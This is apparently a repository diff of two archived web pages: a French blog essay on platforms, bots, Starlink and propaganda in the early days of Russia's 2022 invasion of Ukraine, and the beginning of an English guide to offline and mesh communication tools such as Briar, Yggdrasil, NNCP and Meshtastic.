<p><strong>Il y avait une économie des petits boulots ("Gig Economy"). Elle s'étend désormais aux guerres et conflits armés.</strong> Elle a au moins le mérite d'être explicite et ne se cache plus derrière le remplissage de Captchas qui faisaient de chacun d'entre nous <a href="https://affordance.typepad.com/mon_weblog/2018/03/im-a-digital-worker-killing-an-arab.html" rel="noopener" target="_blank">les mercenaires sans consentement d'une armée technologique de l'ombre</a>. </p> | |||
<h2>Le bruit des <span>bottes</span> bots.</h2> | |||
<p>Et à ceci s'ajoute une autre guerre : celle des bots. Qui déposent à la volée des centaines de milliers de commentaires pro-Poutine sur un ensemble de sites et de pages, notamment dans l'enceinte de Facebook, jusqu'à atteindre des effets de saturation qui deviennent ingérables <a href="https://twitter.com/gchampeau/status/1496967491079262214" rel="noopener" target="_blank">comme le relate et la relaie Guillaume Champeau</a> : </p> | |||
<blockquote> | |||
<p>"<em>Un grand quotidien de Francfort (le Frankfurter Rundschau) explique qu'ils sont inondés de messages pro-Poutine postés sur leur page Facebook par des bots ou armées de trolls, et ne peuvent plus les supprimer à cause des restrictions de l'API de Facebook qui permet 10000 suppressions par jour "seulement".</em>"</p> | |||
</blockquote> | |||
<p>La même armée de bots (ou une autre) qui investit sans relâche Wikipédia et tout espace numérique médiatique simplement <em>disponible</em> pour en faire un espace médiatique numérique <em>mobilisable</em>. </p> | |||
<h2>Chief [of War] Executive Officer.</h2> | |||
<p>En réponse à une interpellation du vice-premier ministre Ukrainien (cf supra), <a href="https://twitter.com/elonmusk/status/1497701484003213317" rel="noopener" target="_blank">Elon Musk a annoncé le déploiement effectif de son réseau Starlink en Ukraine</a> avec pour objectif de pallier les coupures d'accès internet (liées aux bombardements ou aux cyber-attaques) et de fournir ainsi un appui technique opérationnel au pays. <a href="https://www.numerama.com/politique/867439-elon-musk-se-mobilise-en-activant-starlink-en-ukraine.html" rel="noopener" target="_blank">Comme le rappelle Numérama</a>, déployer le réseau satellitaire est une chose mais il faut également acheminer les kits de branchement permettant de s'y connecter (dont une antenne parabolique). </p> | |||
<p>C'est en tout cas à l'évidence <strong>une nouvelle guerre de l'espace qui s'ouvre ici</strong>. Non plus celle se limitant à l'aviation et aux missiles, mais celle également des infrastructures de télécommunication qui prennent désormais position et situation dans l'orbite terrestre basse, et dont un entrepreneur américain est en train de faire sa chasse gardée et presqu'exclusive à ce jour à cette échelle.</p> | |||
<p>Le déploiement d’accès à l’internet rapide par satellites en constellation à basse altitude est un nouveau théâtre d'opérations militaires absolument déterminant et vital. La Chine (avec le projet Guowang) et la Russie (projet Sfera) sont évidemment en course pour déployer leurs propres infrastructures. L'Europe également mais avec un retard qui sera difficile à rattraper et qui, dans le contexte géopolitique actuel, apparaît presque comme coupable. Reste que le projet pour l'instant le plus abouti et immédiatement opérationnel est entre les mains d'Elon Musk (<a href="https://www.20minutes.fr/high-tech/3051875-20210601-8-projets-similaires-a-starlink" rel="noopener" target="_blank">et prochainement de Jeff Bezos</a>). Ce qui pose <em>a minima</em> un problème de gouvernance et transforme ce qui pourrait et devrait être un gage de stabilité, une garantie d'influence et une arme à la fois diplomatique et opérationnelle, en un aléatoire soumis aux convictions, aux caprices ou à la définition du patriotisme d'un seul homme à la tête d'une seule entreprise. </p> | |||
<p>A titre d'exemple, dans la guerre de position qui se joue actuellement, à la demande du ministère de l'intérieur, <a href="https://twitter.com/christogrozev/status/1497570179026403329" rel="noopener" target="_blank">les ukrainiens sont en train de supprimer ou de modifier l'ensemble des panneaux routiers de signalisation</a>. L'armée russe semble en effet ne bénéficier que d'une connexion internet poussive qui rend la géolocalisation difficile ou impossible. <a href="https://twitter.com/RichardEngel/status/1497580698386853889" rel="noopener" target="_blank">Il s'agit donc à proprement parler de "l'égarer"</a> pour la retarder ou l'empêcher d'atteindre certaines cibles. Dans ce cas comme tant d'autres on voit bien l'avantage que peut apporter le contrôle de la mise à disposition d'une connexion internet stable et suffisamment puissante sur un théâtre d'opérations militaires.</p> | |||
<h2>Et du côté des GAFAM ?</h2> | |||
<p>Plus que jamais ces multinationales sont en situation d'arbitrage sur des questions économiques, politiques, géo-stratégiques. Et elles sont bien sûr au coeur de l'essentiel des mécanismes de désinformation. A l'exception du conflit israëlo-palestien (ou les intérêts américains sont omniprésents) c'est la première fois dans leur histoire que ces sociétés vont avoir à prendre des décisions dont elles seront comptables et redevables dans le cadre d'un conflit armé dans le monde occidental et touchant à des intérêts (et des marchés) vitaux de leur point de vue. Il ne s'agit pas simplement de rejouer l'opposition entre USA et Russie, celui des blocs, mais de redéfinir les conditions du plein exercice de la maîtrise (et de la mainmise) d'un environnement technologique en tant qu'infrastructure économique, sociale et politique. </p> | |||
<p>Avant de revenir sur les choix et les contraintes de chacune des grandes plateformes, rappelons qu'une nouvelle loi Russe datant de Juin 2021, dresse les conditions suivantes :</p> | |||
<blockquote> | |||
<p>"<em>les entreprises Internet étrangères ayant un public quotidien de plus de 500 000 utilisateurs doivent ouvrir leurs bureaux de représentation autorisés en Russie. L'organisme de surveillance des médias de masse du pays a déjà publié une liste d'entreprises tenues d'ouvrir des bureaux de représentation, et elle comprend Google, Apple, Meta Platforms, Twitter, TikTok, Telegram et d'autres.</em>"</p> | |||
</blockquote> | |||
<p>Globalement et à ce jour en Russie, les services de proxy et autres VPN sont interdits depuis 2018 et les plateformes en proposant (moteurs de recherche notamment) doivent intégrer une liste noire de sites définis par le gouvernement et qui doivent donc être rendus impossible d'accès. Le FSB (les services secrets russes) exige également dans le cadre de la loi dite de "l'internet souverain" (2019), d'installer un équipement (backdoor) permettant de disposer des clés de cryptage pour accéder aux communications sans autorisation judiciaire. Par ailleurs depuis décembre 2020, une loi votée par la Douma rend possible le blocage de tous les sites, y compris et principalement Facebook, Twitter et Youtube, <a href="https://www.20minutes.fr/monde/2939195-20201224-russie-blocage-facebook-youtube-cas-censure-autorise" rel="noopener" target="_blank">en cas "<em>de censure ou de discrimination contre le contenu de médias russes</em> (sic)"</a>.</p> | |||
<p>Or justement ...</p> | |||
<p><strong>Apple ? </strong>C'est dans ce cadre qu'<a href="https://iphonesoft.fr/2022/02/24/premier-siege-social-apple-russie-ouvert-debut-fevrier" rel="noopener" target="_blank">Apple venait d'ouvrir début Février son premier siège social en Russie</a>, "<em>se pliant aux exigences</em>" de l'état Russe comme l'indique <a href="https://tass.com/economy/1398193" rel="noopener" target="_blank">cette dépêche du 4 février 2022 de l'agence Tass</a>. Mauvais timing s'il en est ... Mychailo Fedorov, vice-premier ministre ukrainien et ministre de la transformation numérique a écrit à Tim Cook, PDG d'Apple, pour lui demander de soutenir les sanctions financières engagées et <a href="https://twitter.com/FedorovMykhailo/status/1497327555690610689" rel="noopener" target="_blank">d'arrêter de fournir des produits et services Apple à la fédération de Russie, ainsi que de bloquer les accès à l'Apple Store</a>. Sans réponse (publique) à ce jour, Tim Cook se contentant d'indiquer <a href="https://twitter.com/tim_cook/status/1497004932364341266" rel="noopener" target="_blank">qu'il soutiendra les efforts humanitaires et les appels à la paix</a> (sic). </p> | |||
<p><strong>Facebook (enfin Méta) ?</strong> Du côté du réseau social et de la firme gérant à la fois Facebook, Instagram et WhatsApp, l'attention médiatique se focalise sur le premier membre de la trilogie applicative. Un <a href="https://about.fb.com/news/2022/02/metas-ongoing-efforts-regarding-russias-invasion-of-ukraine/" rel="noopener" target="_blank">communiqué de la firme daté du 26 février fait le point sur les mesures qu'elle a adopté</a> :</p> | |||
<ul> | |||
<li>un centre opérationnel avec des locuteurs natifs en russe et en ukrainien (on sait depuis les révélations de Frances Haugen que la modération dans certaines langues et notamment sur des zones de conflit, <a href="https://www.affordance.info/mon_weblog/2021/10/facebook-networks-babylon.html" rel="noopener" target="_blank">est une incurie dramatique</a>) qui vont tenter de lutter notamment contre les discours de haine et de limiter ou d'empêcher leur viralité. Et que bien sûr "l'intelligence artificielle" viendra leur prêter main forte. </li> | |||
<li>l'ajout pour les utilisateurs ukrainiens de fonctionnalités permettant de "verrouiller" son profil et d'éviter les recherches parmi - notamment - ses listes d'amis</li> | |||
<li>et des efforts pour lutter contre la désinformation (sic).</li> | |||
</ul> | |||
<p>Ces efforts (contre la désinformation) vont notamment concerner "l'étiquetage" des contenus, en lien avec les sites et organismes qui travaillent sur le Fact-Checking sur la plateforme. On verra donc davantage de contenus "signalés", de contenus en dessous desquels on sera invité à consulter des sources "officielles", ou sur lesquels une alerte sur le risque de désinformation sera explicite. Soit désormais une habitude depuis ces deux actes "fondateurs" que furent la pandémie de Covid et les élections américaines débouchant sur l'envahissement du Capitole. </p> | |||
<p>Mais la vraie question, au-delà de cet "étiquetage" des contenus problématiques, est celle de la gestion de la recommandation et de la viralisation desdits contenus. Les repérer et les marquer comme autant de potentielles désinformations est une chose, limiter leur circulation en est une autre, bien distincte. Et sur ce point, <a href="https://about.fb.com/news/2022/02/metas-ongoing-efforts-regarding-russias-invasion-of-ukraine/" rel="noopener" target="_blank">Méta indique que</a> : </p> | |||
<blockquote> | |||
<p>"<em>Les pages, groupes, comptes et domaines Facebook qui partagent de manière répétée de fausses informations feront l'objet de sanctions supplémentaires. Par exemple, nous les supprimerons des recommandations et afficherons tout le contenu qu'ils publient plus bas dans le fil d'actualité, afin que moins de personnes le voient.</em>" </p> | |||
</blockquote> | |||
<p>La modération (humaine et effectuée par des locuteurs natifs en nombre suffisant) et la recommandation sont les deux clés de contrôle de l'ensemble des rhétoriques de désinformation et d'appel à la haine. L'histoire des grands médias sociaux nous a hélas déjà à de nombreuses reprises montré qu'ils restaient déterminés à faire pour l'essentiel l'impasse sur le premier point (la modération) en dehors de leur premier marché (américain) et de leur premier cercle d'influence (nord-occidental). Quand au second point, la recommandation et la viralisation des contenus et des discours de haine, on sait hélas aussi à quel point leur posture est et demeurera ambivalente <a href="https://affordance.typepad.com/mon_weblog/2018/10/lutter-contre-la-haine-sur-le-web.html" rel="noopener" target="_blank">tant que la dimension spéculative de ces discours de haine continuera d'être intrinsèquement liée à leur modèle économique</a>.</p> | |||
<p>Le dernier point est celui des médias contrôlés ou affiliés à des puissances étrangères. Sputnik et RT dans le cas de la Russie pour ne citer que les 2 plus connus. Ici Méta indique qu'elle démonétisera l'ensemble de ces médias en leur interdisant de faire de la publicité et de gagner de l'argent ce faisant. <a href="https://www.ouest-france.fr/monde/guerre-en-ukraine/guerre-en-ukraine-les-medias-d-etat-russes-ne-peuvent-plus-generer-de-l-argent-via-google-3f25f75e-97c4-11ec-bf4e-2e0a9047a170" rel="noopener" target="_blank">La démonétisation est également la solution choisie et mise en place par Google</a> pour l'ensemble de son écosystème (dont Youtube au premier plan).</p> | |||
<p>La société Méta indique par ailleurs qu'<a href="https://www.lemonde.fr/pixels/article/2022/02/25/la-russie-engage-un-bras-de-fer-avec-facebook_6115287_4408996.html" rel="noopener" target="_blank">elle refusera les demandes et injonctions de l'état Russe de ne pas 'modérer' et 'censurer' leurs contenus</a>.</p> | |||
<blockquote> | |||
<p>"<em>Les autorités russes nous ont ordonné d’arrêter le fact-checking et la labélisation des contenus postés sur Facebook par 4 organisations médiatiques appartenant à l’Etat russe. Nous avons refusé.</em>" Nick Clegg.</p> | |||
</blockquote> | |||
<p>Pour ce dernier point, la position de Méta ne vaut naturellement qu'en dehors de la Russie puisque <a href="https://netblocks.org/reports/twitter-and-facebook-restricted-in-russia-amid-conflict-with-ukraine-JBZrogB6" rel="noopener" target="_blank">Facebook, en Russie, est déjà passablement censuré et ralenti, tout comme l'est la plateforme Twitter depuis le début de l'invasion</a>. </p> | |||
<p>Du côté des magasins d'applications, certains médias russes (dont la chaîne RT) ont disparu, à la demande des autorités ukrainiennes, du Google Play Store en Ukraine.</p> | |||
<p>Les choses changeant et évoluant presque tous les jours, l'incontournable Netblocks fournit une <a href="https://netblocks.org/reports/twitter-and-facebook-restricted-in-russia-amid-conflict-with-ukraine-JBZrogB6" rel="noopener" target="_blank">analyse et un suivi complet en temps réel des interdictions et des limitations opérées en Russie et en Ukraine</a>.</p> | |||
<p><strong>Alphabet (enfin Google) et Youtube.</strong> Les problématiques et les réponses de Google / Alphabet sont à peu de choses près les mêmes que celles de Facebook / Méta en ce qui concerne la diffusion et la viralisation de certaines informations. La firme continue donc de diffuser sur sa plateforme Youtube et dans son moteur de recherche les médias d'état russe <a href="https://www.reuters.com/technology/youtube-blocks-rt-other-russian-channels-generating-revenue-2022-02-26/" rel="noopener" target="_blank">mais en les démonétisant</a>. La firme indique bien sûr <a href="https://twitter.com/googleeurope/status/1497312484247707651" rel="noopener" target="_blank">être particulièrement vigilante</a> : </p> | |||
<blockquote> | |||
<p>"<em>Sur YouTube, nous mettons en évidence les vidéos de sources d'information fiables et nous nous efforçons de supprimer les contenus qui violent nos politiques. Au cours des derniers jours, nous avons supprimé des centaines de chaînes et des milliers de vidéos et nous restons vigilants quant aux fausses informations violentes.</em>"</p> | |||
</blockquote> | |||
<p>Mais d'anciens éminents employés de la firme devenus lanceurs d'alerte, au premier rang desquels Guillaume Chaslot, alertent - sans l'étayer pour l'instant par des données - sur le fait que <a href="https://twitter.com/gchaslot/status/1497152168087928833" rel="noopener" target="_blank">l'algorithme de recommandation de Youtube s'emballe totalement en faveur des vidéos pro-Poutine</a>. Il documente en revanche, <a href="https://data.algotransparency.org/?date=24-02-2022" rel="noopener" target="_blank">via son site Algotransparency</a>, le fait que la vidéo la plus poussée par l'algorithme est celle d'une conférence de 2015 de John Mearsheimer, un universitaire américain spécialiste des relations internationales, et titrée : "<a href="https://www.youtube.com/watch?v=JrMiSQAGOS4" rel="noopener" target="_blank">Why is Ukraine the West's Fault ?</a>" (pourquoi l'Ukraine est-elle la faute de l'occident ?) Et <a href="https://twitter.com/gchaslot/status/1497152168087928833" rel="noopener" target="_blank">Guillaume Chaslot de s'interroger</a> à l'adresse de la patronne de Youtube, Susan Wojcicki : </p> | |||
<blockquote> | |||
<p>"<em>Pourquoi fait-il l'objet d'une telle promotion ? Parce que le titre est provocant et donc clickbait ? Parce que la Russie joue avec l'algo ? Des années de Google amplifiant activement ce type de contenu ont pour conséquence que des gens meurent en ce moment même. Susan Wojcicki nous voulons des réponses.</em>"</p> | |||
</blockquote> | |||
<p>En terminant cet article j'apprends à l'instant (dimanche 27 février 18h) qu'Ursula von der Leyen venait d'annoncer que "<a href="https://www.lemonde.fr/international/live/2022/02/27/guerre-en-ukraine-en-direct-l-union-europeenne-va-financer-l-achat-et-la-livraison-d-armes-a-kiev-et-fermer-tout-son-espace-aerien-a-la-russie_6115418_3210.html?#id-228883" rel="noopener" target="_blank">les médias Sputnik et RT étaient bannis de l'union européenne</a>". Il va être intéressant de voir comment ce "bannissement" va s'articuler avec "l'hébergement" de ces médias sur les plateformes sociales. Il est probable qu'il ne s'articule simplement ... pas. Et que si cessent les diffusions de ces chaînes sur les bandes de fréquence allouées par les régulateurs des états européens, elles continuent de pouvoir émettre au sein des plateformes privées que sont Youtube et Facebook. </p> | |||
<h2>Fisha les prisonniers de guerre. Fisha les morts.</h2> | |||
<p>Les comptes dits "Fisha", verlan du mot "affiche", sont habituellement associés au cyber-harcèlement et servent à diffuser des photos ou vidéos souvent à caractère sexuel ou intime de celles et ceux qui en sont victimes. L'Ukraine vient de lancer le site <a href="https://200rf.com/" rel="noopener" target="_blank">200rf.com</a>, qui diffuse des vidéos de soldats russes capturés, dans lesquelles on les voit souvent prendre contact téléphonique avec leur famille, mais où l'on trouve également les documents d'identité de soldats morts. Il s'agit bien "d'afficher" les morts ennemis et les prisonniers de guerre. <a href="https://www.liberation.fr/international/europe/guerre-en-ukraine-200rfcom-le-site-pour-que-les-russes-puissent-trouver-leurs-soldats-tues-20220227_4ABTC24NLRHCDC4FBOBG7RZKLQ/?utm_medium=Social&xtor=CS7-51-&utm_source=Twitter#Echobox=1645970206-1" rel="noopener" target="_blank">Comme l'explique Libération</a> : </p> | |||
<blockquote> | |||
<p>"<em>Le site est baptisé «200rf.com», d’après le code utilisé de longue date en Russie pour désigner les soldats tués au combat. Le nombre 200 fait référence au poids en kilos d’un cercueil en zinc avec un corps à l’intérieur. L’expression «cargaison 200» est d’ailleurs employée dans le jargon militaire – et plus largement dans la société russe – depuis l’époque de l’Union soviétique pour désigner le rapatriement par avion des dépouilles des militaires morts au front. Quant au «rf», il renvoie à «Russian Federation», le nom officiel de la Russie.</em>"</p> | |||
</blockquote> | |||
<p><a href="https://www.liberation.fr/international/europe/guerre-en-ukraine-200rfcom-le-site-pour-que-les-russes-puissent-trouver-leurs-soldats-tues-20220227_4ABTC24NLRHCDC4FBOBG7RZKLQ/?utm_medium=Social&xtor=CS7-51-&utm_source=Twitter#Echobox=1645970206-1" rel="noopener" target="_blank">Comme le souligne encore Libération</a>, cette initiative est "<em>une démarche altruiste autant qu’une arme psychologique supplémentaire.</em>"</p> | |||
<p>Si le site fut évidemment instantanément bloqué en Russie, il reste possible pour les familles de soldats d'en prendre connaissance par d'autres moyens (notamment la boucle Telegram qui lui est associée).</p> | |||
<p>Cette manière "d'afficher" les prisonniers et les morts est un coup de maître en terme de communication de guerre et d'ascendant psychologique dans le contexte bien particulier de l'invasion de l'Ukraine et au regard de la politique militaire de la Russie sous le règne de Poutine. Car comme le rappelle la <a href="https://twitter.com/colinlebedev/status/1498047581204586499" rel="noopener" target="_blank">collègue maîtresse de conférences en sciences politiques, Anna Colin Lebedev</a>, l'armée russe ne se soucie pas de l'identification du corps de ses soldats morts au combat. Elle s'en soucie tellement peu que : </p> | |||
<blockquote> | |||
<p>"<em>Les comités des mères de soldats sont parmi les plus vieilles ONG russes, défendant les droits des soldats et de leurs familles, depuis le retrait de l'armée sov d'Afghanistan.</em>"</p> | |||
</blockquote> | |||
<p>Mais cette nouvelle manière "d'afficher" les prisonniers et les soldats morts ennemis est aussi une manière de renouveler la doctrine militaire "classique" dans laquelle la médiatisation du sort fait aux prisonniers avait pour objectif soit de dénoncer la barbarie de l'ennemi, soit, plus rarement, de souligner le bon traitement comparatif qu'on leur réservait : </p> | |||
<blockquote> | |||
<p>"<em>Deux régimes de captivité se dégagent : ceux conformes au droit international avec des taux de mortalité bas (en 1914-1918, 3 % des prisonniers allemands sont morts en captivité britannique) et ceux reflétant une violence extrême avec des taux beaucoup plus élevés (pendant la Seconde Guerre mondiale, 57 % des prisonniers soviétiques détenus par les nazis sont morts). Ces mauvais traitements favorisent la médiatisation du prisonnier dont la figure est utilisée tant pour dénoncer la barbarie de l’ennemi qui maltraiterait les soldats tombés entre ses mains que pour souligner le bon traitement que l’on réserverait aux prisonniers détenus. Cette prise de parole tend à remobiliser les troupes et participent à ce que les historiens nomment la mobilisation culturelle des sociétés en guerre.</em>" (<a href="https://ehne.fr/fr/encyclopedie/th%C3%A9matiques/guerres-et-m%C3%A9moires/combattants/prisonniers-de-guerre-et-captivit%C3%A9-en-europe#sommaire-les-r-gimes-de-captivit-reflet-de-la-totalisation-du-ph-nom-ne-guerrier" rel="noopener" target="_blank">Source EHNE</a>)</p> | |||
</blockquote> | |||
<p>La puissance des témoignages disponibles sur le site <a href="https://200rf.com/" rel="noopener" target="_blank">200rf.com</a> est en tout cas considérable dans la guerre de mobilisation de l'opinion qui est en train de se jouer en Russie contre l'entrée en guerre de Poutine. </p> | |||
<p><a class="asset-img-link" href="https://www.affordance.info/.a/6a00d8341c622e53ef0278806dd8b5200d-pi"><img alt="Capture d’écran 2022-02-28 à 00.15.50" class="asset asset-image at-xid-6a00d8341c622e53ef0278806dd8b5200d img-responsive" src="https://www.affordance.info/.a/6a00d8341c622e53ef0278806dd8b5200d-500wi" title="Capture d’écran 2022-02-28 à 00.15.50"></a></p> | |||
<p> </p> | |||
<h2>Si vis pacem. </h2> | |||
<p>La guerre, les guerres, sont et seront de plus en plus numériques. Non plus simplement dans l'appareillage technologique impliqué dans la logistique et dans la gestion opérationnelle des frappes, mais dans tous les secteurs de la société et avec une internationalisation de la mise en visibilité des conflits qui échappe (en bonne partie) aux états engagés. L'amie tant regrettée <a href="https://fr.wikipedia.org/wiki/Louise_Merzeau" rel="noopener" target="_blank">Louise Merzeau</a> expliquait que le numérique était un "milieu". A ce titre il est ouvert à toutes les porosités, il capte toutes les attentions, il est traversable par toutes les opinions, et s'il ne modifie pas toujours la nature de ce qui le traverse il en modifie systématiquement la perception que nous en avons. </p> | |||
<p>Cet article s'efforce de tracer un tour d'horizon aussi complet que possible des manières dont les grands écosystèmes numériques mobilisent les espaces médiatiques et les terrains opérationnels dans lesquels se déploient les guerres modernes, et dont l'invasion de l'Ukraine sera certainement, hélas, un point de départ.</p> | |||
<p>Préparer et <em>se</em> préparer aux guerres numériques est une chose. Les citoyens comme les états-majors y semblent prêts. Créer les conditions d'une paix numérique est un tout autre chantier, dont ce conflit, notamment au travers des choix que feront les grandes plateformes, sera un révélateur implacable.</p> |
@@ -0,0 +1,209 @@ | |||
<!doctype html><!-- This is a valid HTML5 document. --> | |||
<!-- Screen readers, SEO, extensions and so on. --> | |||
<html lang="fr"> | |||
<!-- Has to be within the first 1024 bytes, hence before the `title` element | |||
See: https://www.w3.org/TR/2012/CR-html5-20121217/document-metadata.html#charset --> | |||
<meta charset="utf-8"> | |||
<!-- Why no `X-UA-Compatible` meta: https://stackoverflow.com/a/6771584 --> | |||
<!-- The viewport meta is quite crowded and we are responsible for that. | |||
See: https://codepen.io/tigt/post/meta-viewport-for-2015 --> | |||
<meta name="viewport" content="width=device-width,initial-scale=1"> | |||
<!-- Required to make a valid HTML5 document. --> | |||
<title>Tools for Communicating Offline and in Difficult Circumstances (archive) — David Larlet</title> | |||
<meta name="description" content="Publication mise en cache pour en conserver une trace."> | |||
<!-- That good ol' feed, subscribe :). --> | |||
<link rel="alternate" type="application/atom+xml" title="Feed" href="/david/log/"> | |||
<!-- Generated from https://realfavicongenerator.net/ such a mess. --> | |||
<link rel="apple-touch-icon" sizes="180x180" href="/static/david/icons2/apple-touch-icon.png"> | |||
<link rel="icon" type="image/png" sizes="32x32" href="/static/david/icons2/favicon-32x32.png"> | |||
<link rel="icon" type="image/png" sizes="16x16" href="/static/david/icons2/favicon-16x16.png"> | |||
<link rel="manifest" href="/static/david/icons2/site.webmanifest"> | |||
<link rel="mask-icon" href="/static/david/icons2/safari-pinned-tab.svg" color="#07486c"> | |||
<link rel="shortcut icon" href="/static/david/icons2/favicon.ico"> | |||
<meta name="msapplication-TileColor" content="#f7f7f7"> | |||
<meta name="msapplication-config" content="/static/david/icons2/browserconfig.xml"> | |||
<meta name="theme-color" content="#f7f7f7" media="(prefers-color-scheme: light)"> | |||
<meta name="theme-color" content="#272727" media="(prefers-color-scheme: dark)"> | |||
<!-- Documented, feel free to shoot an email. --> | |||
<link rel="stylesheet" href="/static/david/css/style_2021-01-20.css"> | |||
<!-- See https://www.zachleat.com/web/comprehensive-webfonts/ for the trade-off. --> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_regular.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_bold.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_italic.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_regular.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_bold.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_italic.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<script> | |||
function toggleTheme(themeName) { | |||
document.documentElement.classList.toggle( | |||
'forced-dark', | |||
themeName === 'dark' | |||
) | |||
document.documentElement.classList.toggle( | |||
'forced-light', | |||
themeName === 'light' | |||
) | |||
} | |||
const selectedTheme = localStorage.getItem('theme') | |||
if (selectedTheme !== 'undefined') { | |||
toggleTheme(selectedTheme) | |||
} | |||
</script> | |||
<meta name="robots" content="noindex, nofollow"> | |||
<meta content="origin-when-cross-origin" name="referrer"> | |||
<!-- Canonical URL for SEO purposes --> | |||
<link rel="canonical" href="https://www.complete.org/tools-for-communicating-offline-and-in-difficult-circumstances/"> | |||
<body class="remarkdown h1-underline h2-underline h3-underline em-underscore hr-center ul-star pre-tick" data-instant-intensity="viewport-all"> | |||
<article> | |||
<header> | |||
<h1>Tools for Communicating Offline and in Difficult Circumstances</h1> | |||
</header> | |||
<nav> | |||
<p class="center"> | |||
<a href="/david/" title="Aller à l’accueil"><svg class="icon icon-home"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-home"></use> | |||
</svg> Accueil</a> • | |||
<a href="https://www.complete.org/tools-for-communicating-offline-and-in-difficult-circumstances/" title="Lien vers le contenu original">Source originale</a> | |||
</p> | |||
</nav> | |||
<hr> | |||
<p>When things are difficult – maybe there’s been a disaster, or an invasion (this page is being written in 2022 just after Russia invaded Ukraine), or maybe you’re just backpacking off the grid – there are tools that can help you keep in touch, or move your data around. This page aims to survey some of them, roughly in order from easiest to more complex.</p> | |||
<h2 id="simple-radios">Simple radios</h2> | |||
<p>Handheld radios shouldn’t be forgotten. They are cheap, small, and easy to operate. Their range isn’t huge – maybe a couple of miles in rural areas, much less in cities – but they can be a useful place to start. They tend to have no actual encryption features (the “privacy” features really aren’t.) In the USA, options are FRS/GMRS and CB.</p> | |||
<h2 id="syncthing">Syncthing</h2> | |||
<p>With <a href="/syncthing/">Syncthing</a>, you can share files among your devices or with your friends. Syncthing essentially builds a private mesh for file sharing. Devices will auto-discover each other when on the same LAN or Wifi network, and opportunistically sync.</p> | |||
<p>I wrote more about offline uses of Syncthing, and its use with <a href="/nncp/">NNCP</a>, in my blog post <a href="https://changelog.complete.org/archives/10219-a-simple-delay-tolerant-offline-capable-mesh-network-with-syncthing-optional-nncp">A simple, delay-tolerant, offline-capable mesh network with Syncthing (+ optional NNCP)</a>. Yes, it is a form of a <a href="/mesh-network/">Mesh Network</a>!</p> | |||
<p>Homepage: <a href="https://syncthing.net/">https://syncthing.net/</a></p> | |||
<h2 id="briar">Briar</h2> | |||
<p>Briar is an instant messaging service based around Android. It’s IM with a twist: it can use a mesh of Bluetooh devices. Or, if Internet is available, Tor. It has even been extended to support the use of SD cards and USB sticks to carry your messages.</p> | |||
<p>Like some others here, it can relay messages for third parties as well.</p> | |||
<p>Homepage: <a href="https://briarproject.org/">https://briarproject.org/</a></p> | |||
<h2 id="manyverse-and-scuttlebutt">Manyverse and Scuttlebutt</h2> | |||
<p>Manyverse is a client for Scuttlebutt, which is a sort of asynchronous, offline-friendly social network. You can use it to keep in touch with your family and friends, and it supports syncing over Bluetooth and Wifi even in the absence of Internet.</p> | |||
<p>Homepages: <a href="https://www.manyver.se/">https://www.manyver.se/</a> and <a href="https://scuttlebutt.nz/">https://scuttlebutt.nz/</a></p> | |||
<h2 id="yggdrasil">Yggdrasil</h2> | |||
<p><a href="/yggdrasil/">Yggdrasil</a> is a self-healing, fully end-to-end <a href="/encrypted/">Encrypted</a> <a href="/mesh-network/">Mesh Network</a>. It can work among local devices or on the global Internet. It has network services that can egress onto things like Tor, I2P, and the public Internet. Yggdrasil makes a perfect companion to ad-hoc wifi as it has auto peer discovery on the local network.</p> | |||
<p>I talked about it in more detail in my blog post <a href="https://changelog.complete.org/archives/10319-make-the-internet-yours-again-with-an-instant-mesh-network">Make the Internet Yours Again With an Instant Mesh Network</a>.</p> | |||
<p>Homepage: <a href="https://yggdrasil-network.github.io/">https://yggdrasil-network.github.io/</a></p> | |||
<h2 id="ad-hoc-wifi">Ad-Hoc Wifi</h2> | |||
<p>Few people know about the ad-hoc wifi mode. Ad-hoc wifi lets devices in range talk to each other without an access point. You just all set your devices to the same network name and password and there you go. However, there often isn’t DHCP, so IP configuration can be a bit of a challenge. Yggdrasil helps here.</p> | |||
<h2 id="nncp">NNCP</h2> | |||
<p>Moving now to more advanced tools, <a href="/nncp/">NNCP</a> lets you assemble a network of peers that can use <a href="/asynchronous-communication/">Asynchronous Communication</a> over sneakernet, USB drives, radios, CD-Rs, Internet, tor, <a href="/nncp-over-yggdrasil/">NNCP over Yggdrasil</a>, <a href="/syncthing/">Syncthing</a>, Dropbox, S3, you name it . NNCP supports multi-hop file transfer and remote execution. It is fully end-to-end encrypted. Think of it as the offline version of ssh.</p> | |||
<p>Homepage: <a href="https://nncp.mirrors.quux.org/">https://nncp.mirrors.quux.org/</a></p> | |||
<h2 id="meshtastic">Meshtastic</h2> | |||
<p><a href="/meshtastic/">Meshtastic</a> uses long-range, low-power <a href="/lora/">LoRa</a> radios to build a long-distance, encrypted, instant messaging system that is a <a href="/mesh-network/">Mesh Network</a>. It requires specialized hardware, about $30, but will tend to get much better range than simple radios, and with very little power.</p> | |||
<p>Homepages: <a href="https://meshtastic.org/">https://meshtastic.org/</a> and <a href="https://meshtastic.letstalkthis.com/">https://meshtastic.letstalkthis.com/</a></p> | |||
<h2 id="portable-satellite-communicators">Portable Satellite Communicators</h2> | |||
<p>You can get portable satellite communicators that can send SMS from anywhere on earth with a clear view of the sky. The Garmin InReach mini and Zoleo are two credible options. Subscriptions range from about $10 to $40 per month depending on usage. They also have global SOS features.</p> | |||
<h2 id="telephone-lines">Telephone Lines</h2> | |||
<p>If you have a phone line and a modem, <a href="/uucp/">UUCP</a> can get through just about anything. It’s an older protocol that lacks modern security, but will deal with slow and noisy serial lines well. <a href="/xbee-sx/">XBee SX</a> radios also have a serial mode that can work well with UUCP.</p> | |||
<h2 id="amateur-radio">Amateur Radio</h2> | |||
